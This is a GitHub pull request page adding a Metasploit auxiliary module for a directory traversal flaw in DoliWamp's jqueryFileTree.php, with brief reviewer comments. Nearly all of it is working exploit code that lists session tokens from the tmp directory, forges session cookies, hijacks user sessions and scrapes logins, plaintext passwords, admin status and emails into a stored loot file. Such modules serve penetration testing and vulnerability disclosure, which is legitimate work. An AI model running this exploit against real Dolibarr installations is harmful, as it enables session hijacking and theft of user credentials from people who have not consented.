-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials module #2940
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,202 @@ | ||
## | ||
# This module requires Metasploit: http//metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Auxiliary | ||
include Msf::Auxiliary::Report | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info( | ||
info, | ||
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", | ||
'Description' => %q{ | ||
This module will extract user credentials from DoliWamp - a WAMP | ||
packaged installer distribution for Dolibarr ERP on Windows - versions | ||
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session | ||
tokens in filenames in the 'tmp' directory. A directory traversal | ||
vulnerability in 'jqueryFileTree.php' allows unauthenticated users | ||
to retrieve session tokens by listing the contents of this directory. | ||
Note: All tokens expire after 30 minutes of inactivity by default. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>', | ||
'References' => | ||
[ | ||
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], | ||
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] | ||
], | ||
'DisclosureDate' => 'Jan 12 2014')) | ||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), | ||
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) | ||
], self.class) | ||
end | ||
|
||
# | ||
# Find session tokens | ||
# | ||
def get_session_tokens | ||
tokens = nil | ||
print_status("#{peer} - Finding session tokens...") | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri( | ||
target_uri.path, | ||
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), | ||
'cookie' => @cookie, | ||
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.code == 404 | ||
print_error("#{peer} - Could not find 'jqueryFileTree.php'") | ||
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</ | ||
tokens = res.body.scan(/>sess_([a-z0-9]+)</) | ||
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," } | ||
print_good("#{peer} - Found #{num_tokens} session tokens") | ||
else | ||
print_error("#{peer} - Could not find any session tokens") | ||
end | ||
return tokens | ||
end | ||
|
||
# | ||
# Get user's credentials | ||
# | ||
def get_user_info(user_id) | ||
vprint_status("#{peer} - Retrieving user's credentials") | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), | ||
'cookie' => @cookie, | ||
'vars_get' => Hash[{ | ||
'action' => 'edit', | ||
'id' => "#{user_id}" | ||
}.to_a.shuffle] | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.body =~ /User card/ | ||
record = [ | ||
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, | ||
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, | ||
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, | ||
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first | ||
] | ||
unless record.empty? | ||
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") | ||
return record | ||
end | ||
else | ||
print_warning("#{peer} - Could not retrieve user credentials") | ||
end | ||
end | ||
|
||
# | ||
# Verify if session cookie is valid and return user's ID | ||
# | ||
def get_user_id | ||
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'") | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), | ||
'cookie' => @cookie | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/ | ||
user_id = "#{$1}" | ||
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'") | ||
return user_id | ||
else | ||
# print_debug("#{peer} - Could not hijack session. Session is invalid.") | ||
end | ||
end | ||
|
||
# | ||
# Construct cookie using token | ||
# | ||
def create_cookie(token) | ||
# print_debug("#{peer} - Creating a cookie with token '#{token}'") | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), | ||
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/ | ||
return "DOLSESSID_#{$1}=#{token}" | ||
else | ||
print_warning("#{peer} - Could not create session cookie") | ||
end | ||
end | ||
|
||
# | ||
# Show progress percentage | ||
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb | ||
# | ||
def progress(current, total) | ||
done = (current.to_f / total.to_f) * 100 | ||
percent = "%3.2f%%" % done.to_f | ||
vprint_status("#{peer} - Trying to hijack a session - " + | ||
"%7s done (%d/%d tokens)" % [percent, current, total]) | ||
end | ||
|
||
# | ||
# Check for session tokens in 'tmp' | ||
# | ||
def check | ||
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You only should be using Unknown when you've failed to collected some info during the process due to a timeout or something. Your get_session_tokens method doesn't really turn that type of info, so all you can do is flag it Safe here. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||
end | ||
|
||
def run | ||
return unless tokens = get_session_tokens | ||
credentials = [] | ||
print_status("#{peer} - Trying to hijack a session...") | ||
tokens.flatten.each_with_index do |token, index| | ||
if @cookie = create_cookie(token) and user_id = get_user_id | ||
credentials << get_user_info(user_id) | ||
end | ||
progress(index + 1, tokens.size) | ||
end | ||
|
||
if credentials.empty? | ||
print_warning("#{peer} - No credentials collected.") | ||
return | ||
end | ||
cred_table = Rex::Ui::Text::Table.new( | ||
'Header' => 'Dolibarr User Credentials', | ||
'Indent' => 1, | ||
'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] | ||
) | ||
credentials.each do |record| | ||
report_auth_info({ | ||
:host => rhost, | ||
:port => rport, | ||
:sname => (ssl ? 'https' : 'http'), | ||
:user => record[0], | ||
:pass => record[1], | ||
:source_type => 'vuln' | ||
}) | ||
cred_table << [record[0], record[1], record[2], record[3]] | ||
end | ||
print_line | ||
print_line("#{cred_table}") | ||
loot_name = 'dolibarr.traversal.user.credentials' | ||
loot_type = 'text/csv' | ||
loot_filename = 'dolibarr_user_creds.csv' | ||
loot_desc = 'Dolibarr User Credentials' | ||
p = store_loot( | ||
loot_name, | ||
loot_type, | ||
rhost, | ||
cred_table.to_csv, | ||
loot_filename, | ||
loot_desc) | ||
print_status("Credentials saved in: #{p}") | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Did you mean to leave this commented out? Looks like useful info for debugging purposes.